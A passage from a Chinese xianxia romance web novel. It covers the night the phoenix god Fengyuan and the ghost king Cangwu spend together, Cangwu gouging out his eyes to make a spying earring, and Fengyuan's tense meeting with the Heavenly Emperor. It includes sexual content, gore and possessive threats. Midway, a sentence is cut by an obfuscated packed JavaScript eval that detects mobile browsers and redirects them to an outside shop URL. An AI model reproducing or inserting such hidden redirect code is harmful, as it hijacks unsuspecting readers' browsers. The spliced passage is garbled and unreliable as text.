“喜欢的第一步……第一步叫,叫忠诚。”凤渊微微喘着,都已经到这种地步,不可能回头,他就,他就相信苍梧吧,相信苍梧不会和他们一样,相信苍梧不会背叛他。 苍梧以为凤渊害怕两人之间地位悬殊,而不敢彻底托付给自己,便低声安抚:“本王绝不弃你。” 那是来自鬼府之王的承诺。 一诺千金,此生不换。 因为得到保证,凤渊安心闭上眼睛,尝试让自己全身放松,试着接纳苍梧的全部。 …… 意乱情迷,情潮翻涌。 苍梧紧紧拥着凤渊,在凤渊耳畔呢喃:“凤凰,里面好热,好舒服。” 灼热的呼吸喷在耳根,酥酥麻麻的痒,凤渊下意识缩了缩脖子,艰难道:“废话,我是火凤,体温自然比平常人高的多。” 苍梧咬着凤渊的耳朵:“本王喜欢。” “本王能不能把这玩意一直放在你这里?” “如果你想死的话,你可以试试。” 苍梧轻笑一声,无师自通般讨好凤渊,照顾凤渊的感受,带着他一起踏进极乐之巅。 在那极致的疯狂即将来临的刹那,凤渊感觉神识中最后一道维持伪装的屏障轰然碎裂!他再也无法控制自身的力量与形态—— 只见他的黑发,从发根开始,以肉眼可见的速度褪色、燃烧,化作如同燃烧火焰般的炽烈红发,披散在汗湿的脊背上。 而他一直紧闭的双眼也倏然睁开,那双原本深邃的黑眸,此刻已化为清澈剔透、仿佛蕴藏着星辉的银眸! 红发如火,银眸似雪。 卸下所有伪装的他,露出最原始、最真实的本相,这对苍梧来说是一种绝对的致命的吸引。 感觉到自身的变化,凤渊讶异,自己这是太过兴奋导致露出本来面貌了? 他从来不知道,在绝对兴奋,受到这种程度的刺激下,他会不受控制地展现本来的面貌。 苍梧的雾气似乎也因这突如其来的绝美景象而凝滞了一瞬,随即,那包裹着凤渊的幽冥气息变得更加汹涌、更加滚烫,仿佛要将凤渊彻底吞噬、融进自己的灵魂最深处…… 梧桐林深处的静谧被彻底打破,只剩下最原始的喘息与无声的契合。梧桐林外,一老一小疯狂拍打着结界,试图喊醒森林深处纠缠不休的两人。 一夜无眠。 一夜疯狂。 凤渊在一种前所未有的温暖与沉重中醒来的,睁开眼睛之前,他还没想好怎么面对苍梧,心中万分狂躁,怎么就这样双修了呢?怎么就这么不明不白的双修了呢?他明明只是想知晓心意啊!! 现在倒好,都提前把成婚要做的事做了。 大婚之日,洞房之喜,难道到要他和苍梧坐在床上数星星吗!? 进展那么快!成何体统!简直败坏门风! 风流了多年的凤渊,一朝有了喜欢的人,也会如此的手足无措……但最多的还是怕自己被辜负的迷茫。 那些人的背叛在他心里留下了不可磨灭的阴影。 凤渊还没想好如何面对他和苍梧之间的关系,又在纠结着,这是自己捅破的窗户纸,若自己不面对,倒成了爽完就飞的渣鸟了…… 凤渊深深深深吸了一口气,然后缓缓睁开眼睛,我靠!喝多了睡错人了!? 身侧,不是那团熟悉又虚无的黑雾,而是一张实实在在的、沉睡的容颜。 银色的长发铺满了枕席,与自己的红发交织在一起,对比鲜明,却又诡异的和谐。而那张脸……凤渊的呼吸下意识地屏住了。 那容颜,竟与他有七分相似!同样的轮廓线条,同样的挺鼻薄唇,只是眉眼更为锐利飞扬,眉骨更高,眼尾的弧度更具有攻击性。 凤渊一时间竟看得有些呆了。 这美人是谁? 苍梧没那么好看吧。 许是他的目光太过专注,那沉睡的人眼睫微颤,缓缓睁开了双眼。 双眸颜色是张扬的鲜红,带着一种极具侵略性的美,危险却也动人心魄。 红眸中先是闪过一丝刚醒时的茫然,随即迅速变为深沉的专注的凝视,里面清晰地倒映出凤渊有些怔忪的脸。 “怎么了?本王现在是不是很好看?” 苍梧开口,声音比以往作为雾气时更加低沉沙哑,带着刚睡醒的慵懒感,轻轻敲击在凤渊的耳膜上。 横在凤渊腰间的手臂非但没有松开,反而收得更紧,将两人之间的距离拉得更近,近得能感受到彼此温热 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苍梧抬起另一只手,指腹轻轻抚过凤渊的眉眼,沿着相似的轮廓缓缓下滑,动作带着一种前所未有的、具象化的珍视与占有。 “喜欢吗?” 凤渊看着他,看着这张与自己如此相似却又截然不同的脸,看着那双只有自己的绯红眼眸,心中情绪翻涌,最终化作一声极轻的叹息,指尖顺着他的银发滑下。 “喜欢……”他微微别开眼,掩饰着加速的心跳,低声道,“还有些意外。” 苍梧低低地笑了起来,胸膛震动,带着愉悦的余音。他重新将凤渊揽入怀中,下巴轻轻抵着他的发顶,满足地喟叹:“有什么意外的,这就是最完美的脸。” 小凤凰是这世界上最漂亮的人。 凤渊有心逗他:“我可不喜欢,鬼界的人都知道我们的关系了,以后我入鬼界,还怎么撩拨其他小鬼。” 苍梧眯起眼睛:“本王一个还不够吗?你还想其他人?没关系,本王可以分身,你想要多少个伺候你都可以。” 一个苍梧就足够折腾死他了,一堆苍梧他岂不是要散架……凤渊悻悻一笑,坐起来,锦被滑落,露出白皙的肌肤以及皮肤上星星点点的暧昧痕迹,光影瞬息万变,落在肩头的红发瞬间变成黑色:“呃……好吧,其实我有点不喜欢你的眼睛……太红了。” 红色的眼睛在他们族群里视为不详。 他不希望苍梧成为不详之人。 没有任何犹豫,这句话落下的瞬间,苍梧抬手,修长的手指曲起,精准而狠戾地刺向自己的双眼! 噗嗤一声,极其轻微的血液迸射的声音。 凤渊脸上的慵懒和随意瞬间凝固,瞳孔骤缩,惊道:“你干什么?!” 苍梧却仿佛感觉不到痛楚,脸上甚至带着一种近乎癫狂的、满足的笑意。浓稠的血泪从他瞬间空洞的眼眶中滑落,划过苍白的脸颊,留下两道刺眼的痕迹。 他笑着,声音依旧平稳,甚至带着一点随意:“你不喜欢,那就换。” 他以为瞳色变化和自己一样用法术掩盖就可以了,没想到是直接挖眼珠子。凤渊只觉得一股寒气从脊椎直冲头顶,头皮阵阵发麻:“你……!” 他被这疯狂的举动惊得说不出完整的话。 苍梧空洞的眼眶望向他,语气甚至带着安抚:“别怕,很快就能长出新的眼睛。阿渊,想要什么颜色?喜欢什么颜色?” 仿佛只是在说一件再平常不过的小事。 凤渊大脑短暂空白,瞳色于苍梧而言意义非凡,他断不能胡乱说个颜色。什么颜色合适……他的护心翎是紫色的,整个凤族最独一无二的颜色。 “紫色。”他说,“紫色吧,护着我心脏的凤翎的颜色是紫色的。” “好,”苍梧眼眶周围的肉开始不自然地蠕动,传来一阵细微的、令人不适的肉生长的声音,有什么东西在内部快速生长、重组。 不过片刻,那骇人的空洞被填补,当苍梧再次睁开眼时,那双眸已变成了深邃的、流转着幽光的紫色,神秘莫测,却也带着一种不真实的美感。 “好看吗?”他期待地问,像个急于得到夸奖的孩子。 凤渊看着他那双新生的紫眸,又瞥见他脸颊未干的血痕,以及地上那两颗依旧带着体温,瞳孔似乎还在微微收缩的红色眼球。 他压下心底翻涌的惊悸与不适,声音带着一丝不易察觉的干涩:“我很喜欢……” 此时此刻,他根本不敢说不好看。 凤渊深吸一口气,努力让声音恢复平稳,警告道:“下次不许再这么做,我不想看见你受伤,更不想让你疼。” 看见你受伤,我也会很难过。 哪怕那伤对你来说微不足道。 苍梧乖巧地点头,仿佛刚才那个徒手挖眼的人不是自己。他捡起地上的眼球,想将地上那对血淋淋的眼球丢弃。 “不要。”凤渊眼疾手快,一把抓住他的手腕,阻止了他的动作。他看着这对红色的眼眸,心情复杂难言。 “为何?” 凤渊一时回答不上来,虽然心疼苍梧,但心疼归心疼,总不能把鲜血淋漓的眼球保存起来吧。 若是让人知道他收藏别人的眼球,不得说他是变态。 苍梧问:“不舍?” 凤渊点头。 苍梧吃定了凤渊心疼自己才会那么做,挖下眼睛的那一刻,他就知道该如何处理这对眼球了…… “我有办法,”苍梧指尖灵力流转,血红的眼球在光芒中迅速变化形态,杂质褪去,凝结成一颗圆润光滑、如同红宝石般的珠子,只是那珠子的中心,竖着一道似有若无的如同瞳孔般的暗影。 他将其制成一枚耳坠,亲手戴在凤渊的左耳上。 耳坠悬在凤渊白皙的耳垂下方,红得刺目,闭合的眼睛线条依稀可辨,带着一种诡异而邪气的美丽,微微晃动时,仿佛会睁开。 苍梧忍不住亲了亲凤渊的耳根:“本王的小凤凰就是好看。” 两人贴的极近,凤渊很快感受到苍梧不同寻常的变化,推开苍梧:“行了,我要起来了,日上三竿还要睡,丢不丢人呢。” 穿衣时,挂在耳上的红玉石慢慢的、一点一点的睁开了血红色的眼睛,像个新生的小孩那般,好奇的转动着,无声打量着周围。 凤渊忘了,苍梧本体是雾,就算是扣下来的眼睛,其本质也依旧是一团受苍梧控制的雾气,是苍梧身体的一部分,与本体感官相连。 他戴着这枚由苍梧眼睛化成的耳坠,便等同于将苍梧的一部分时刻带在身边。 通过这枚耳坠,他所见的一切风光,所历的一切场景,都将会毫无保留地、实时同步到苍梧的眼中。 苍梧甚至还能通过这枚耳坠,随时到达凤渊身边。 苍梧看着戴在凤渊耳上的那抹鲜红,紫眸中掠过一丝变态的,无人能懂的满足。 这样,无论他的小凤凰去了哪里,看了什么,他都会第一时间知道了。 凤渊摸了摸耳坠:“照你这么做,你们鬼界的鬼分手后岂不是要撕皮扣眼?也不是认定了就非他不可。” 凤渊这话传到苍梧耳朵里成了另一种意思,苍梧的眼神瞬间冷了下来:“不能。会死。” 凤渊背对着苍梧,没有注意到他的眼神变化:“你怎么没事儿?” 苍梧:“本王可是一界之主,怎么可能那么容易死。” 凤渊哦了一声。 苍梧下了床,三步并作两步走过去,从背后抱住凤渊,蹭着他的脖颈,低声道:“休想离开本王一步。这个念头也不要有,否则……你不会想知道本王的手段的。” 凤渊道:“双修都修过了,你也幻化成我的容颜,我想跑也跑不掉啊。” “不许有这个想法,”苍梧将凤渊打横抱起。 “什么时候鬼王连这个都要管了。”凤渊笑说。 “本王就要管。” 苍梧抱着凤渊往回走,趁人不注意,重新扔回床上,床幔落下,隔绝了凤渊拒绝的声音,床上旖旎,室内春光无限好啊。 小鬼王一朝开荤,当然要吃个够本、尽兴。 14. 千年前的心跳(6) 不知过了多久,凤渊才终于踏出房门,看着日头正盛的阳光,凤渊眯了眯眼,揉着腰,心想,这下可算是把白日|宣|淫坐实了。 苍梧跟在凤渊后面,一脸吃饱喝足后的餍足,心里那股冲动仍旧未散,怪不得人人都喜欢双修,原来双修的感觉那么美好,他现在还能感觉到全身每个毛孔都在兴奋。 还想继续,只是他家小凤凰的身体不允许。 作为一个合格的道侣,他应该学会克制自己的欲望,考虑小凤凰的感受,照顾好小凤凰的情绪。 若是连这点小事都做不好,他这个鬼界之主就白当了。 凤渊懒洋洋地倚在梧桐树下,像没有骨头似的。晨光透过叶隙落在他微蹙的眉间,镀上一层浅金。 这累与征战时截然不同。 沙场上的累是刀刃劈开骨头的钝痛,而昨夜是另一种。 像被温热的潮汐从内里彻底冲刷过一遍,每一寸经脉都被陌生的力量抚慰,骨骼深处透着酸,动一动手指都嫌费力。 可那倦意深处,偏又藏着未散的细密的战栗,令身心愉悦。 他闭眼,喉结微动。 风过林梢,沙沙地响。 他喜欢这种感觉。 苍梧则紧挨着他侧卧,一只手不轻不重的给他按摩,另一只手,手指弯曲,指尖有一下没一下地卷着他垂落的墨发。 “凤凰,后天便是你生辰了。”苍梧的声音带着事后的慵懒沙哑,“要不要来鬼界转一转?兴许有你喜欢的东西。” 凤渊连眼皮都懒得抬,懒散地哼了一声:“向下一点,太重了……” 他现在浑身乏力,只想在暖阳下睡个回笼觉,对这些听起来就麻烦的礼物提不起丝毫兴趣。 凤渊轻轻动了动手指,解开设下的禁制,让阳光更好的照进来。一只小鸟趁机溜了进来,悄悄站在枝头,歪着头打量着亲昵的两个人,奇怪,怎么有两个凤凰大人…… 苍梧不依不饶,紫眸紧盯着凤渊:“本王给你过的第一个生辰,定要送你最好的。” 手向下移了几分,力道比刚才也轻了,“现在怎么样?” 凤渊舒服的哼了一声,终于掀开一条眼缝,斜睨着他。看着那双因自己而生的深邃的紫眸,以及眸中几乎要溢出来的专注与占有,他心头微动,忽然起了个恶劣的念头。 他勾起唇角,露出带着倦意却又蛊惑人心的笑,声音轻飘飘的,像羽毛搔过心尖:“最好的?”他微微侧头,耳垂上那枚由苍梧眼睛化成的血红耳坠随之晃动,闪烁着诡异的光泽,“你昨天不是已经,‘送’了我一整夜了么?” 他刻意放缓了语速,带着某种暗示,目光意有所指地扫过自己衣领下若隐若现的红痕。 苍梧先是一愣,随即,那双紫眸以肉眼可见的速度骤然亮起,如同被点燃的幽焰,翻涌起更加深沉浓烈的欲望和惊喜。他猛地凑近,几乎鼻尖相抵,灼热的气息喷洒在凤渊脸上:“这个不算。”他低笑着,嗓音危险而性感,“你若喜欢,本王天天都可以给你。” 他认为这是他们的日常。 凤渊看着他瞬间被点燃的模样,心中那点恶劣的念头得到了满足,重新阖上眼,唇角却弯起一个清浅的连自己都未察觉的弧度。 “随你。”他含糊地应道,将头往苍梧颈窝处埋了埋,找了个更舒服的姿势,“话又说回来……如果我真的像你讨要那个东西,你给吗?” 苍梧看着他这副依赖又傲娇的模样,心软得一塌糊涂,收紧了手臂,将人更深地拥入怀中,仿佛拥住了全世界最珍贵的宝藏。 “你想要本王给就是了。可是,没有本王的使用,你一个人用起来不方便。” “你都没看过我一个人使用,怎么知道不方便,”凤渊笑得焉坏,眼睛弯弯,那模样像极了小狐狸,“你送给我一个,我用给你看好不好?” 苍梧脑海中闪过凤渊自己扩的画面…… 喉咙一紧,全身血液逆流,双眼猩红充满欲望:“凤凰,我送你,你真的用给我看吗?” 凤渊刚想张口说话,一只小鸟飞了过来,轻巧落在凤渊肩头:“凤凰大人,梧桐林外跪着一个小仙童,说是要见您。” 苍梧一脸被打扰的怨气,恨不得吃了这只鸟。 “何事要见我?”凤渊问。 小鸟道:“昨天夜里就来了,说是做了对不起大人的事情。但是,因为大人设下的禁制没能进来,所以一直在外面跪着。” 凤渊笑道:“还能有人做对不起我的事?你带他进来吧。” 小鸟叽叽喳喳飞走了。 苍梧哀怨道:“那现在可以回答我的问题了吗?” 凤渊站起身,耸耸肩:“问题?什么问题?我忘了。” 说完,还很幼稚的做了个鬼脸。 苍梧瞪大了眼睛,心里恨死那只鸟了,早不来晚不来,偏偏这个时候来。 凤渊理了理压乱的衣服。 苍梧跟在凤渊身后:“不许装不知道。” “真忘了。” “本王再重复一遍……” “有人来了,”凤渊眼里含笑,明显在逗苍梧。 苍梧:“…………” 仙童在小鸟的带领下,战战兢兢地踏入梧桐林。一见到站在树下的凤渊,他双腿一软,扑通跪倒在地,声音带着哭腔:“战神恕罪!小的、小的该死,昨日您取走的那坛醉相思有问题啊!” 小鸟落在凤渊肩头,歪着头打量着一夜之间突然变得和凤渊很像的苍梧,不知道为什么,突然觉得凤渊身上的气息好像和苍梧身上的气息同宗同源。 凤渊尚未开口,身侧的苍梧如疾风般掠至仙童面前,紫眸凌厉:“你说什么?那酒有问题?”他声音陡然拔高,“就是你动了手脚?让……” 让本王见到那般柔软的凤渊。 “你好大的胆子!”苍梧压下心头翻涌的旖念,厉声呵斥,“还不快将剩下的酒交出来!这等祸害,岂能留存于世!” 仙童吓得一哆嗦,头低得更往下了,几乎要贴到地面。 凤渊警告性地瞥了苍梧一眼。 苍梧轻咳一声,故作正经地解释:“本王这是防患于未然。” 凤渊不再理他,径自走到仙童面前,俯身将她扶起,语气温和:“哭什么,那是做昨日发生的事,现在是今天,已经过去了。” 见仙童仍泪眼婆娑,他指尖凝起一抹清风,轻柔地拭去对方脸上的泪痕,无奈轻笑:“瞧瞧,脸都哭得不漂亮了。回去告诉你师父,我一切安好,让他不必挂心。他也真是,这点小事也值得让你跑一趟嘛?若传出去,旁人该说我仗着身份欺负小辈了。” “不是的,不是的!”仙童连连摆手,哽咽道,“是、是小的自己嘴馋,偷饮了醉相思,又用吟风月充数,这才酿成大错……” “嘴馋?他呀就是小气,”凤渊眉眼微弯,带着几分促狭,“我记得我小时候偷喝你师父的酒,就喝了一口,就被你师父拿着拂尘追了二里地呢,把我打的不敢从树上下来。” 他言语轻松,带着几分怀念的笑意,顿时将凝重的气氛冲淡了不少。仙童抬眼看着战神温和的眉眼,心中的惶恐终于渐渐平息。 只是那笑容太过于温柔,像新酿的酒那般温柔,仙童不哭了,脸倒是红了,偷偷打量着凤渊,“谢谢战神。” 凤渊揉了揉她的脑袋:“回去吧,向你师父复命。” 战神的掌心是柔软的,带着温暖的力量,从头顶倾泻而下,驱散了跪了一夜的疲惫。 仙童呆了,战神用法术在为她疗伤…… 越看越觉得凤渊周身弥漫着慈性光辉。 仙童的脸更红了。 苍梧更生气了。 凤渊挥挥手:“去吧。” 仙童走了。 苍梧撇嘴:“去吧……本王走的时候怎么不见你这样温柔的告别呢。本王辛苦干了一夜,怎么不见你用法术给本王缓解疲惫呢?” 凤渊轻笑:“你累?看来,堂堂鬼王也不过如此啊。” 苍梧:“胡说!本王还能与你大战三百回合!” 他扑了上去,从后面抱住凤渊的脊背,狎昵的蹭着。 凤渊无奈,摇头失笑。 不过,三百回合没有战到最后,鬼界有要事处理,苍梧被召回去了。苍梧走后,凤渊担心小仙童被月下仙人责罚,便去了月下仙人那里一趟。 如他想的一样,小仙童果然受罚了——理那些陈年旧情,乱成麻的红线。小仙童站在姻缘树下,理得头都大了。 凤渊笑道:“你师父折磨人的方法还真多。这陈年旧情他自己都理不清,竟然让你一个女孩子理。” 听见凤渊的声音,仙童脸一红:“凤渊战神,师父他已经惩罚的很轻了,谢谢您……” 凤渊摆摆手,示意她不必行礼:“你师父呢?” 仙童道:“师父在里面休息。” 凤渊点头,熟门熟路走了进去,绕过几排高高的酒架,精准找到月下仙人的位置。月下仙人躺在摇椅上,脸上盖了把蒲扇,睡得正香。 凤渊轻轻打了个响指,月下仙人的胡子飘了起来,自动分为三股,缠绕缠绕……最后编成了麻花辫。 然后轻轻一扯。 月下仙人惊醒,蒲扇掉到地上:“凤渊不要扯我胡子!” 凤渊捡起蒲扇,放在月下仙人身上:“还没睁眼就知道是我啊?” 月下仙人哼道:“整个仙界除了你还有谁这么大的胆子。”他真睁开眼,看见凤渊耳上红的诡异的宝石,中间的眼睛花纹似乎在缓缓转动着,“你耳朵上那是什么东西?” “再普通不过的饰品,”凤渊摸了摸耳坠,“酒不错,我再来讨一壶。” 月下仙人没多想,拿着蒲扇往里走:“你爹以前喜欢扯我胡子,你父亲以前喜欢到我这里讨酒吃,现在换成你了,一个人顶他两个人。我真是欠你们的……” 凤渊跟在他身后,轻笑:“他们还说,我以后若是有什么事情,第一时间找您就行。” 月下仙人道:“第一战神都打不过的人,我这把老骨头去干什么?送死啊——幸亏喝了那坛酒没酿成什么大错,不然,我真的没法和他们交代。” 凤渊神色微变,月下仙人掌管姻缘,他和苍梧已经互通心意,且双修过,姻缘树上应当会出现他们的红线,月下仙人也会第一时间感应到。 难道说,仙鬼真的不两立? “我还没有红线?” 月下仙人点头:“要是有我能不给你说吗?省的我天天担心你们凤族绝后。” 凤渊轻咳一声,小声道:“恐怕已经绝了。” 月下仙人没听清:“你说什么?” 凤渊嗅了嗅,闻面前的酒架上哪坛酒香,他想好要哪坛酒了,道:“没事——想好送我哪坛酒了吗?” 月下仙人道:“没有。” “你看看,又小气。”凤渊本着自己动手丰衣足食的信念,主动拿酒。月下仙人拿着蒲扇使劲拍了凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908444|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊的手。 凤渊揉着自己的手:“真小气。” “天帝,到!”天帝忽然大驾光临,门口跪了一列仙童。凤渊嫌弃的看向门口,早不来晚不来,偏偏这个时候来……看来躲不掉了。 凤渊虽然是战神,但城府很浅,所有情绪都写在脸上,月下仙人一见到他蹙眉的表情,就知道他心里在想什么:“你躲得了一时,躲不了一世。有什么话当面说清楚去。” 凤渊摇头:“说不清,人各有志,道不同,不相为谋。” 说话的功夫,天帝进来了,淡淡的看了凤渊一眼。凤渊行了个礼,并未行下跪礼:“天帝。” 天帝道:“月下仙人你先退下。” 月下仙人从地上站起来,拿着蒲扇慢悠悠退了出去。凤渊觉得头疼,他最烦与天帝周旋。 天帝先是注意到凤渊耳上那枚红如血的玉石,不知道是不是错觉,他总觉得玉石有一股浓郁的幽冥之气,像苍梧身上的气息。 天帝微微颔首:“苍梧还在缠着你?吾怎么觉得你身上的鬼气越来越浓郁了。” 那不废话嘛。 若是不浓郁,苍梧那一夜岂不白干了。 凤渊兀自觉得好笑。 笑容如三月的春风,拂得人心痒痒的。 天帝罕见走神,“凤渊,你许久未对我这样笑过了。” “……” 凤渊心说,不要自做多情,现在也不是对你笑的。 一阵风吹过,耳坠轻轻摇晃,中间的眼睛转了转。 凤渊抬手摸了摸耳坠,神情不咸不淡:“怎么?当年陛下用这句话收了我的剑和权利,如今又要故技重施,灭了我吗?” 天帝微微蹙眉,语气竟透出几分罕见的怅惘:“阿渊,你从来都太强了。强大到不需要倚仗任何人,也不需要依赖吾。当年收回兵权,不过是希望你能明白——” “明白什么?”凤渊轻笑出声,那笑声里淬着冰,“明白该向陛下俯首称臣?还是该像其他人一样,对你感恩戴德?” 他向前一步,耳坠上的眼睛随着他的动作轻轻颤动:“你我只有君臣之义,我为何要依赖你?正德,有些事做了就是做了,不要找借口解释,那样会显得很蠢,很可笑” 凤渊的声音很轻,却字字清晰。 天帝袖中的手微微收紧,终是沉声道:“在你心里,我们之间就只剩下君臣之分?” 凤渊抚着耳坠的手微微一顿,那血玉中的瞳孔不易察觉地收缩了一下。 “从你当年选择用权术来对待我们之间的关系开始,”他转身望向别处,声音飘忽得像要散在风里,“就注定只能是君臣了。” 耳坠在风中轻轻摇晃,仿佛有人正通过这枚玉石,静静地注视着这一切。 天帝见打感情牌不行,眼底最后一丝温度也消散了。他负手而立,周身威压渐重,声音沉冷,带着不容置疑的威严:“阿渊,你不要忘了,所有人都知道你与明霏尚有婚约在身。” 他刻意顿了顿,目光带着审视。 跟凤渊相处过的人都知道,凤渊非常容易心软。他因为自己剑下的亡魂太多,所以对一些事格外包容,希望以心中的善念抵消剑下的怨念。 就连那句“剑是保护天下苍生,而不是用来争强好胜”都是他用来警戒自己的。 天帝吃准了凤渊会心软,会替他人着想:“纵使你不在意天界礼法,不顾及自身声誉,难道要让明霏被他人耻笑吗?” 这话语如同冰冷的锁链,带着道德与责任的重负,直直抛向凤渊。空气仿佛都凝滞了几分,连凤渊耳坠上那只诡秘的眼睛,都似乎停止了转动。 凤渊静立原地,面上无波无澜,唯有眸色深沉如夜。他轻轻摩挲着指节,忽然低笑了一声,那笑声里听不出喜怒。 他抬眸,目光锐利,“本来就是一句玩笑话……我不在意那些虚无的名声,你转告明霏解除婚约,我丢得起这个人。” 凤渊向前一步,周身竟隐隐散发出不逊于天帝的气势。 天帝眼中闪过一丝惊讶,又想起凤渊卸甲幻剑,跪在南天门前说的那句话,“请陛下放心我永远不会背叛仙界”。 一模一样的语气,一模一样的神情。 百年过去了……凤渊还是那么犟。 凤渊作揖:“天帝,若没什么事,我便先回,告辞。” 两人擦肩而过,空气中似乎有清新的青草香。天帝想起几百年前,那个时候梧桐林还没有设禁制,谁都可以自由出入,他听闻梧桐林有个避世的凤凰,他想一探究竟,于是擅自进了梧桐林。 然后就看见,古老的梧桐树上站立着全身火红的凤凰,尾羽倾泻而下,在阳光下熠熠生辉。头顶三支与众不同的颜色艳丽的凤翎,眼睛狭长,像昳丽的桃花,像含着一汪春水。 因为不速之客的到来,眼里带上嗔怒。 天帝那时年轻,觉得凤凰的目光落进自己的心里后,在自己的胸腔里打了个漂亮的蝴蝶结。 好美好神圣的凤凰。 光影变幻,凤凰不见了,取而代之的,是一位凤眼薄唇,侧卧于枝头的美人。 他太美了,太高贵了,以至于让人忽略了他身上穿着粉色的衣服。 只是一眼,便永生难忘。 后来,他,凤渊,明霏三个人跪在梧桐树下结义,许诺同生共死,福难同当,并经常在凤渊的梧桐林里,喝酒舞剑…… 那真是令人怀念的美好时光。 可惜…… 15. 千年前的心跳(7) 结果…… 只剩凤渊一个人固执的守着梧桐林。 天帝想得没错,凤渊就是心软。 凤渊一直一直在等他们的道歉,只要他们其中任何一个人低头解释,哪怕是编一个借口给他听,他都会放下芥蒂,与他们冰释前嫌。 可是谁也没有。 天帝高傲,自然不会低头;明霏只会逃避……凤渊归隐后,明霏就下凡历劫了,最近才重新位列仙班。 原以为情同手足,便可风雨同行。 奈何岁月蹉跎,终是形同陌路,各有归途。 凤渊站在梧桐树下,看着金黄的梧桐叶被风吹落,各自飘向东西南北方,看了好久好久,几不可闻的叹息:“秋天要结束了……” 深秋的梧桐林静谧深远,枝头栖满了各色鸟儿。这些羽色各异的小生灵亲昵地挨在一起,叽叽喳喳地唤着:“凤凰大人!” 凤渊回神,心中那点不愉快瞬间因为这些活泼可爱的小鸟烟消云散了。 “要入冬啦!” “听说凤凰大人有心上人啦,今年孵蛋是不是和心上人一起孵啊?” “凤凰大人,凤凰大人,心上人长什么样啊?” “凤凰大人有了心上人就不怕被坏蛋欺负啦!” …… 一只瘦小的麻雀始终挤不进吵闹的鸟群,孤零零的站在枯木枝头,想要靠近凤渊,走了两步便因身体不平衡,摔了个踉跄,羽毛落了一地。 凤渊一个一个回答他们的问题。 “他若愿意,我定然不介意。” “心上人长得好看。” “没有人欺负我。” 凤渊轻盈跃上枝头,轻轻捧起摔倒的小麻雀,只见指尖一闪,掌心的小麻雀瞬间恢复生机活力,呆呆愣愣的看着凤渊:“凤、凤凰大大大大大人。” 凤渊帮他理了理羽毛,轻笑:“大大大大大人在呢,还有哪里不舒服吗?” 小麻雀摇摇头,小心脏扑通乱跳,凤凰大人好温柔啊,被凤凰大人这样温柔的对待,好像再也无法喜欢别的小鸟了。 凤渊将它放在自己肩膀上,自己则慵懒地倚在最高处的枝桠上,看向其他鸟:“要入冬了,你们的需求我都一一记着呢……” 作为百鸟之首,凤凰的身形远比寻常鸟儿庞大华美。每年这个时节,总有些体弱的雌鸟会在产下最后一窝蛋后,怕幼鸟捱不过漫长寒冷的冬季,便将部分鸟蛋交给凤渊孵化。 凤渊也会分一些自己的羽毛给体弱的小鸟,让他们筑巢,用来度过漫长的冬季。 只是……后天是他的生辰,也是部分鸟蛋破壳的日子。破壳之日不能耽搁,若是晚了时间,雏鸟会被冻死在壳里。可是苍梧那么兴致勃勃让他去鬼界,定然是准备了惊喜给他,若是他去不成,定会扫了苍梧的兴。 一只鸟忽然落在凤渊面前,打断了凤渊的思绪:“凤凰大人,最近明霏和正德谈您谈的越发频繁啦,我听说明霏喜欢您,该不会看不惯凤凰大人找到了真爱,密谋拆散您和苍梧吧……” 凤渊屈起手指,轻轻点了点小鸟的脑袋壳:“你啊,脑袋那么小,想得怎么那么多。他们都是正人君子,自然不会做这种强人所难的事。” 小鸟蹭了蹭凤渊的手指。 其他小鸟跟着附和。 “凤凰大人,防人之心不可无呀,谁知道他们是不是表面一套,背后一套,联合起来对付您。” “对呀对呀,当年他们就是这样夺走了大人的剑。真的怕这次故技重施,从您身边夺走苍梧。” “他们真的太坏了,总是抢您的东西。” “不是好鸟。不是好鸟。” “讨厌装货。讨厌装货。” 叽叽喳喳的,梧桐林倒是热闹起来了。 凤渊轻轻叹息:“你们呐,不想走的人是无论如何也抢不走的……” 心连心,是不会散的。 在喧闹声中,漆黑的乌鸦静静落在枝头:“西南地界有异象,恐是有什么强大的东西要出来了。凤凰大人确实要小心才是。”它用喙梳理着羽毛,“这东西非同寻常,就连占星都未卜到来历。” 凤渊蹙眉,他怎么不知道这个消息?没人告诉他……天帝、明霏都不曾,而且也见过面,对这些事却只字未提,看来这两个人是铁了心不想让自己管仙界的事了。 小鸟们急急围过来,用温暖的绒毛蹭他的手腕,道:“凤凰大人不要不开心。” 乌鸦跟着附和:“忘恩负义之人,凤凰大人不必记挂在心上。” “对对对!让他们自生自灭!”愤怒的啾鸣声响成一片。 小鸟的世界里没有复杂的情感关系,简单的单纯,只有喜欢的不喜欢的。他们崇拜、尊敬他们的凤凰大人,在他们的认知里凤凰大人就是谁都不可忤逆的。 只要背叛了凤凰,都该死。 凤渊道:“我没有不开心。他们也不是忘恩负义之人,只是身处下位,不得已而为之。若西南地界的东西真的出来危害三界,倒是生灵涂炭,会殃及无辜。” 他将最后几根凤凰羽仔细插在体态较小的鸟儿身上,金光流转的羽毛在夕阳下像破碎的晚霞。 “天下从来不只是有你我,还有大家。”凤渊叹道,“不说就不说吧,我们往好处想,应是那东西不足以对三界造成威胁,所以没必要跟我说,让我参与。” 嘴上这么说,心里还是不太好受,如果这件事真的很严重,仙界没有派人来同他商议,就代表着仙界已经把他抛弃了…… 霞光渐渐消散在天际,他抚摸着乖巧的鸟儿,仿佛这样就能留住人间最后一点温度。 晚霞彻底沉入远山,梧桐林被暮色温柔包裹。那些得了凤凰羽的巢穴泛着融融暖光,小鸟们依偎在各自的小窝里,不再瑟瑟发抖,偶尔发出几声满足的鸣叫。 凤渊独自坐在那根最粗壮的枝干上,背靠着主干,掌心虚虚拢着几枚由他灵力孵化的鸟蛋。指尖传来的微弱生命悸动,是此刻唯一能慰藉他心神的实感。 当年交出兵权,虽有失望,却也有卸下重担的释然。可真正让他心口发闷的,是这种被彻底排除在外的刻意的疏远。西南异动,危险重重……这绝非小事。天帝与明霏他们选择隐瞒,是不愿他再插手仙界事务,还是已经不把他当成仙界之人? 